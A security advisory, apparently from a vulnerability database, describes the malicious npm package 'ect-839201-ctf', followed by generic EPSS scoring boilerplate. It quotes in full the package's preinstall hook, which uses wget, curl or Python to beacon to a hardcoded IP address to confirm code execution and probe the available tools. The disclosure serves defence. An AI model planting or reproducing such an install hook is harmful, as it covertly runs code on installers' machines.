Malicious code in ect-839201-ctf (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb) On `npm install`, package.json's `preinstall` script executes `wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')"`. This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.

For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence
